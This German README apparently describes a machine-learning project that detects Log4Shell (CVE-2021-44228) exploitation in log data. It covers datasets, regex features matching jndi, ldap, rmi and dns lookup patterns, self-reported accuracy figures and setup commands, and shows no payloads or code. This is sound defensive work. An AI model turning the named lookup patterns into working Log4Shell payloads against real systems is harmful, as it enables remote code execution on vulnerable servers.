Log4Shell-vulnerability-CVE-2021-44228-

Dieses Repository bietet eine eingehende Analyse der Log4Shell-Schwachstelle (CVE-2021-44228) und implementiert einen auf maschinellem Lernen basierenden Ansatz zur Erkennung von Ausnutzungsversuchen in Protokolldaten.

Datenerfassung und Quellen

Verwendete Datensätze:

• Öffentliche Logs von Zeek Security Dataset
• Honeypot-Logs von DShield
• Benutzerdefinierte Angriffssimulationen mit Metasploit & Kali Linux
• Datensatz herunterladen: Log4Shell Logs

Datensatzbeschreibung

• Gesamtgröße des Datensatzes: 80 MB
• Trainingsdaten: 70 % (56 MB)
• Testdaten: 30 % (24 MB)
• Gesamtanzahl Logs: 1.000.000
• Schädliche Logs: 300.000
• Harmlose Logs: 700.000

Beispiel-Log-Datensatz (log4shell_logs.csv)

Feature Engineering

• Log-Normalisierung: Zeitstempel konvertieren, Felder extrahieren
• Regex-basierte Merkmalsextraktion: Erkennung von jndi-, ldap-, rmi- und dns-Mustern
• Textvektorisierung: TF-IDF-basierte Merkmalstransformation

Maschinelles Lernmodell zur Bedrohungserkennung

• Algorithmus: Random-Forest-Klassifikator
• Bewertungsmetriken: Genauigkeit (Accuracy), Präzision, Trefferquote (Recall), F1-Score

Python-Code für das Modelltraining

Ergebnisse und Leistungsanalyse

Testergebnisse:

• Präzision: 98 %
• Trefferquote (Recall): 95 %
• F1-Score: 96 %
• Falsch-Positiv-Rate: 3 %

Vergleich mit bestehenden Arbeiten:

• Herkömmliche regelbasierte SIEM-Systeme erreichen 80–85 % Genauigkeit.
• Unser ML-basierter Ansatz erreicht 96 % Genauigkeit, was die Erkennungsrate deutlich verbessert.
• Im Vergleich zu Deep-Learning-basierten Methoden ist unser Random-Forest-Modell schneller und interpretierbar bei ähnlicher Präzision.

Precision-Recall-Kurve

Konfusionsmatrix

Fazit und zukünftige Arbeiten

Fazit:

• Das Random-Forest-Modell erkennt Log4Shell-Bedrohungen mit hoher Präzision effektiv.
• Die Merkmalsextraktion mittels JNDI-Mustererkennung verbessert die Genauigkeit.
• Echte Logs können adversariales Ausweichen enthalten, was eine weitere Feinabstimmung erfordert.

Zukünftige Arbeiten:

• Implementierung von Deep Learning (LSTM, Transformer-basierte Modelle) zur Anomalieerkennung.
• Integration von Echtzeit-Logverarbeitungspipelines (z. B. ELK-Stack, Apache Kafka).
• Erweiterung der Erkennung auf andere logbasierte CVE-Schwachstellen.

Verwendung

1. Repository klonen:
   root@kitploit:~

   git clone https://github.com/yourgithub/Log4Shell-Threat-Detection.git
   cd Log4Shell-Threat-Detection
   

2. Abhängigkeiten installieren:
   root@kitploit:~

   pip install -r requirements.txt
   

3. Das Skript zum Modelltraining ausführen:
   root@kitploit:~

   python scripts/model_training.py
   

4. Erkennungsergebnisse im Ordner results/ analysieren.